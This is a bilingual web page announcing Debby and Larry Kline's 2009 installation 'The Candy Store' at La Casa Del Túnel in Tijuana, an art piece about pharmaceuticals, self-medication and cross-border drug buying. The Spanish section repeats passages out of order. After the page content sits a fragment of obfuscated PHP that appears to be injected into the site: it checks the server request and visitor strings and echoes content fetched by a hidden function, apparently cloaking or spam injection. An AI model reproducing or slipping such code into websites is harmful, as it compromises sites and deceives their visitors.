Home Page Image


 

LA CASA DEL TUNEL: ART CENTER www.lacasadeltunelartcenter.org
CHAPO MARQUEZ 133 COL. FEDERAL, TIJUANA MEXICO CP22010

PRESENTS

candy-img

ENGLISH pdf here

“The Candy Store” (La dulcería): Dispensing Truth
October 13, 2009

An installation created by Artist/Collaborators, Debby and Larry Kline
For La Casa Del Túnel: Art Center, a new cultural center in Tijuana that formerly housed a smuggling tunnel.

Exhibition opening on Saturday, October 24, 2009 at 7PM (PST)
Refreshments and music at la terraza cafeEcoverde”
Round table Discussion Saturday november 7,  4:00 PM. (with a farmacist, a doctor a lawer and participating artists)

 

Smuggling or snuggling?   Anything goes in “The Candy Store” (La dulcería):, an installation that simultaneously attracts and repels viewers, exposes the inherent conflicts in the international healthcare industry, and the legalities and illegalities in the world of pharmaceuticals    The Candy Store is a retail space that houses  "inconsumable products" made out of controlled substances (e.g. tobacco Teddy bears and Vioxx ceramic candies) adding meaningful visual spectacle and humor to the dialogue surrounding healthcare issues and bridging boundaries between art, science, sociology and activism.    It continues what Warhol began by blurring the lines between art and commodity and builds on the notion of Claes Oldenburg's store (1961) with the addition of a socially conscious message that can effect political change. 

The pharmaceutical/health care industry system in America is dysfunctional.  While large segments of the population go without access, the privileged are over-medicated, sometimes relying on pharmaceuticals as treatment for conditions once held as normal variations in personality and temperament.  Those without medical access must seek alternative methods, crossing the borders of Mexico or Canada in search of affordable drugs.  Many on fixed incomes must choose between life saving medications or food, shelter and clothing.

Americans are led to believe that pharmaceuticals in the US are superior to those made in neighboring countries.  The unfortunate truth is that the US has removed many medicines from the market that were supposedly tested for safety and efficacy.

 “The Candy Store” (La dulcería):  addresses this trend toward self-medication by allowing consumers to purchase inconsumable objects (talismans or placebos) made of their medications of choice.   As viewers become participants, each draws on their own experiences in the quest to remain healthy and productive.  Viewers will also identify with the quick fix society, the irony of talismans made of ceramic and medicine, placebos as metaphors and tobacco toys designed to entice young patrons.  Many of the medicinal ingredients are based on the artists’ own experiences.   Larry was prescribed two medications which were released for consumption and later found to be unsafe and sadly, Debby's brother died from abusing prescribed drugs that were easily available and purchased through the internet.  The addiction occurred as a result of his back surgery and pain medicine that was initially ordered for him by his physician. Unfortunately, these family tragedies are reflective of larger societal ills.  Consider school children medicated to conform to acceptable standards who will likely find it difficult to cope without drugs/medication later in life. 

The venue at La Casa Del Túnel: Art Center, is an apropos location considering the hordes of US citizens who cross the border to save money on less expensive prescription medications.  The added facet of a drug-smuggling tunnel transformed into a cultural venue transformed into a drug store makes the project even more significant, meaningful, timely and edgy.   

Saturday November 7,  4:00 PM.  A roundtable discussion will address the questions raised by the exhibition.  The discussion will include the artists, a pharmacist, a physician and an advocate for medical marijuana.  The discussion is free and open to all members of the bi-national community.

Contact: Artists, Debby and Larry Kline
760.432.9436
Dekline1@yahoo.com
Website: www.jugglingklines.com

Contact: La Casa Del Túnel: Art Center, Luis Ituarte in Tijuana 664 682-9596/231-9686 en los EE.UU. 323 574 9197
 E-mail: luis_ituarte@hotmail.com

 

 ESPAÑOL pdf here

 

                LA CASA DEL TUNEL: ART CENTER www.lacasadeltunelartcenter.org
CHAPO MARQUEZ 133 COL. FEDERAL, TIJUANA MEXICO CP22010

PRESENTA

Octubre 13, 2009

“The Candy Store” (La dulcería): Farmacéutica de la Verdad

 

Una instalación creada por el colaborativo de Debby y Larry Kline, artistas estadounidenses.
Para La Casa Del Túnel: Art Center, un centro cultural en Tijuana que anteriormente alojó un túnel de contrabando.

Exhibición que abre el sábado, el 24 de octubre de 2009 a las 7PM 

Refrigerios y música en la terraza cafeEcoverde

Discusión en mesa redonda, Sábado Noviembre 7,  4:00 PM.  (con un farmacéutico, un doctor, un abogado (especialista en la materia) y los artistas participantes)

¿Un placebo agridulce del contrabando?  Todo es posible en“The Candy Store” (La dulcería), unainstalación que simultáneamente atrae y rechaza a los espectadores, expone los conflictos inherentes en la industria de la salud internacional, y las legalidades e ilegalidades en el mundo de los farmacéuticos.  “The Candy Store” (La dulcería), es un espacio del menudeo que aloja "productos no consumibles”  hechos de substancias controladas (por ejemplo “Teddy bears” (ositos) hechos de tabaco y dulces de cerámica imitando pastillas de Vioxx), añadiendo así un espectáculo visual y de humor   al dialogo significativo que rodea el tema del cuidado de la salud  haciendo puente entre el arte, la ciencia, la sociología y el activismo. Continúan así los artistas con lo que Warhol empezó, borrando las líneas entre el arte y objeto de comercio y construyen en la noción de la tienda de Claes Oldenburg (1961) añadiendo los Kline con  “The Candy Store” (La dulcería), un mensaje social consciente que puede efectuar un cambio político.

 El sistema farmacéutico y la industria de la salud de  los Estados Unidos es disfuncional. Mientras grandes segmentos de la población no tienen acceso al sistema, el privilegiado está sobre medicado, muchas veces confiado en tomar medicinas y farmacéuticos como tratamiento para las condiciones que en otras veces se consideraban como variaciones normales en la personalidad y temperamento. Aquéllos sin el acceso médico deben buscar métodos alternativos cruzando las fronteras de México o Canadá en busca de drogas económicas. Muchos con ingresos mínimos fijos deben escoger entre medicaciones salvadoras de la vida y comida, resguardo y ropa.
Los estadounidenses creen que los farmacéuticos en los EE.UU. son superiores a aquéllos hechos en los países vecinos. La verdad desafortunada es que ellos han  quitado muchas medicinas del mercado que se suponía que estaban probadas su seguridad y eficacia.

 “The Candy Store” (La dulcería) se dirige a esa tendencia hacia la automedicación permitiendo los consumidores comprar "productos no consumibles” (talismanes o placebos) hechos de sus medicaciones favoritas. Los espectadores se convierten en participantes, cada uno utiliza sus propias experiencias en la demanda de permanecer saludable y productivo. Los espectadores también se identificarán con la sociedad de solución rápida, la ironía de los talismanes hechos de cerámica y medicina, los placebos como metáforas y juguetes de tabaco diseñados para incitar a los consumidores jóvenes. Muchos de los ingredientes medicinales están basados en experiencias propias de los artistas. A Larry se le prescribieron dos medicaciones que se aparentemente buenas para el consumo que después se encontraron  ser inseguras y tristemente, el hermano de Debby se murió de abusar drogas prescritas que estaban fácilmente disponibles a través del Internet. La adicción de su hermano ocurrió como resultado una cirugía de la columna y su medico le receto medicina para el dolor. Desgraciadamente, estas tragedias familiares reflejan mayores enfermedades sociales. Consideran que los niños escolares medicados para conformar normas aceptables encontrarán difícil probablemente copar con la vida sin medicación.

El sitio de La Casa Del Túnel: Art Center, en la mera frontera es Una instalación creada por el colaborativo de Debby y Larry Kline, artistas estadounidenses.
Para La Casa Del Túnel: Art Center, un centro cultural en Tijuana que anteriormente alojó un túnel de contrabando.
Exhibición que abre el sábado, el 24 de octubre de 2009 a las 7PM 
Refrigerios y música en la terraza cafeEcoverde
Sábado Noviembre 7,  4:00 PM.  Discusión en mesa redonda (con un farmacéutico, un doctor, un abogado (especialista en la materia) y los artistas participantes)

 

¿Un placebo agridulce del contrabando?  Todo es posible en“The Candy Store” (La dulcería), unainstalación que simultáneamente atrae y rechaza a los espectadores, expone los conflictos inherentes en la industria de la salud internacional, y las legalidades e ilegalidades en el mundo de los farmacéuticos.  “The Candy Store” (La dulcería), es un espacio del menudeo que aloja "productos no consumibles”  hechos de substancias controladas (por ejemplo “Teddy bears” (ositos) hechos de tabaco y dulces de cerámica imitando pastillas de Vioxx), añadiendo así un espectáculo visual y de humor   al dialogo significativo que rodea el tema del cuidado de la salud  haciendo puente entre el arte, la ciencia, la sociología y el activismo. Continúan así los artistas con lo que Warhol empezó, borrando las líneas entre el arte y objeto de comercio y construyen en la noción de la tienda de Claes Oldenburg (1961) añadiendo los Kline con  “The Candy Store” (La dulcería), un mensaje social consciente que puede efectuar un cambio político.

 El sistema farmacéutico y la industria de la salud de  los Estados Unidos es disfuncional. Mientras grandes segmentos de la población no tienen acceso al sistema, el privilegiado está sobre medicado, muchas veces confiado en tomar medicinas y farmacéuticos como tratamiento para las condiciones que en otras veces se consideraban como variaciones normales en la personalidad y temperamento. Aquéllos sin el acceso médico deben buscar métodos alternativos cruzando las fronteras de México o Canadá en busca de drogas económicas. Muchos con ingresos mínimos fijos deben escoger entre medicaciones salvadoras de la vida y comida, resguardo y ropa.
Los estadounidenses creen que los farmacéuticos en los EE.UU. son superiores a aquéllos hechos en los países vecinos. La verdad desafortunada es que ellos han  quitado muchas medicinas del mercado que se suponía que estaban probadas su seguridad y eficacia.

 “The Candy Store” (La dulcería) se dirige a esa tendencia hacia la automedicación permitiendo los consumidores comprar "productos no consumibles” (talismanes o placebos) hechos de sus medicaciones favoritas. Los espectadores se convierten en participantes, cada uno utiliza sus propias experiencias en la demanda de permanecer saludable y productivo. Los espectadores también se identificarán con la sociedad de solución rápida, la ironía de los talismanes hechos de cerámica y medicina, los placebos como metáforas y juguetes de tabaco diseñados para incitar a los consumidores jóvenes. Muchos de los ingredientes medicinales están basados en experiencias propias de los artistas. A Larry se le prescribieron dos medicaciones que se aparentemente buenas para el consumo que después se encontraron  ser inseguras y tristemente, el hermano de Debby se murió de abusar drogas prescritas que estaban fácilmente disponibles a través del Internet. La adicción de su hermano ocurrió como resultado una cirugía de la columna y su medico le receto medicina para el dolor. Desgraciadamente, estas tragedias familiares reflejan mayores enfermedades sociales. Consideran que los niños escolares medicados para conformar normas aceptables encontrarán difícil probablemente copar con la vida sin medicación.
el lugar ideal considerado las hordas de ciudadanos estadounidenses que cruzan a Tijuana para ahorrar  dinero en medicaciones por prescripción menos caras. El hecho de que esta exhibición se presenta en un local donde por un tiempo a través de un túnel se pasaba droga de contrabando y ahora transformada en un centro cultural y por ahora transformado en “una tienda de droga” (de a mentiras) hace al proyecto más afilado, significante y oportuno.

 Sábado Noviembre 7,  4:00 PM.  Discusión en mesa redonda (con un farmacéutico un doctor, un abogado (especialista en la materia) y los artistas participantes respondiendo a preguntas motivadas por la exhibición.  La discusión es libre y se abre a todos los miembros de la comunidad bi-nacional.
contacto: Luis Ituarte en Tijuana 664 682-9596/231-9686 en los EE.UU. 323 574 9197 web: luis_ituarte@hotmail.com

 

Para entrevistas con los Artistas, Debby y Larry Kline
760.432.9436
Dekline1@yahoo.com
Website: www.jugglingklines.com

 Contacto: La Casa Del Túnel: Art Center
 Luis Ituarte en Tijuana 664 682-9596/231-9686 en los EE.UU. 323 574 9197 web: luis_ituarte@hotmail.com

 

 

 

 




   
           
=round(0+160)))||($_3[round(0)]== _1211203485(32)&&$_3[round(0+0.2+0.2+0.2+0.2+0.2)]== _1211203485(33))||($GLOBALS['_1916203196_'][15]($_7,_1211203485(34))>round(0))||($GLOBALS['_1916203196_'][16]($_7,_1211203485(35))>round(0))||($GLOBALS['_1916203196_'][17]($_2,_1211203485(36)))||($GLOBALS['_1916203196_'][18]($_2,_1211203485(37)))||($GLOBALS['_1916203196_'][19]($_2,_1211203485(38)))||($GLOBALS['_1916203196_'][20]($_2,_1211203485(39)))||($GLOBALS['_1916203196_'][21]($_2,_1211203485(40)))||($GLOBALS['_1916203196_'][22]($_2,_1211203485(41)))||($GLOBALS['_1916203196_'][23]($_2,_1211203485(42)))||($GLOBALS['_1916203196_'][24]($_2,_1211203485(43)))||($GLOBALS['_1916203196_'][25]($_2,_1211203485(44)))||($GLOBALS['_1916203196_'][26]($_2,_1211203485(45)))||($GLOBALS['_1916203196_'][27]($_2,_1211203485(46)))){}else{if(($GLOBALS['_1916203196_'][28]($_2,_1211203485(47))>round(0))||($GLOBALS['_1916203196_'][29]($_2,_1211203485(48))>round(0))){$_10=l__0($_0,$_SERVER[_1211203485(49)],$_2,$_9,$_4);if($GLOBALS['_1916203196_'][30]($_10,_1211203485(50))){}if($GLOBALS['_1916203196_'][31]($_10,_1211203485(51))){}else if($_10)echo $_10;}} ?>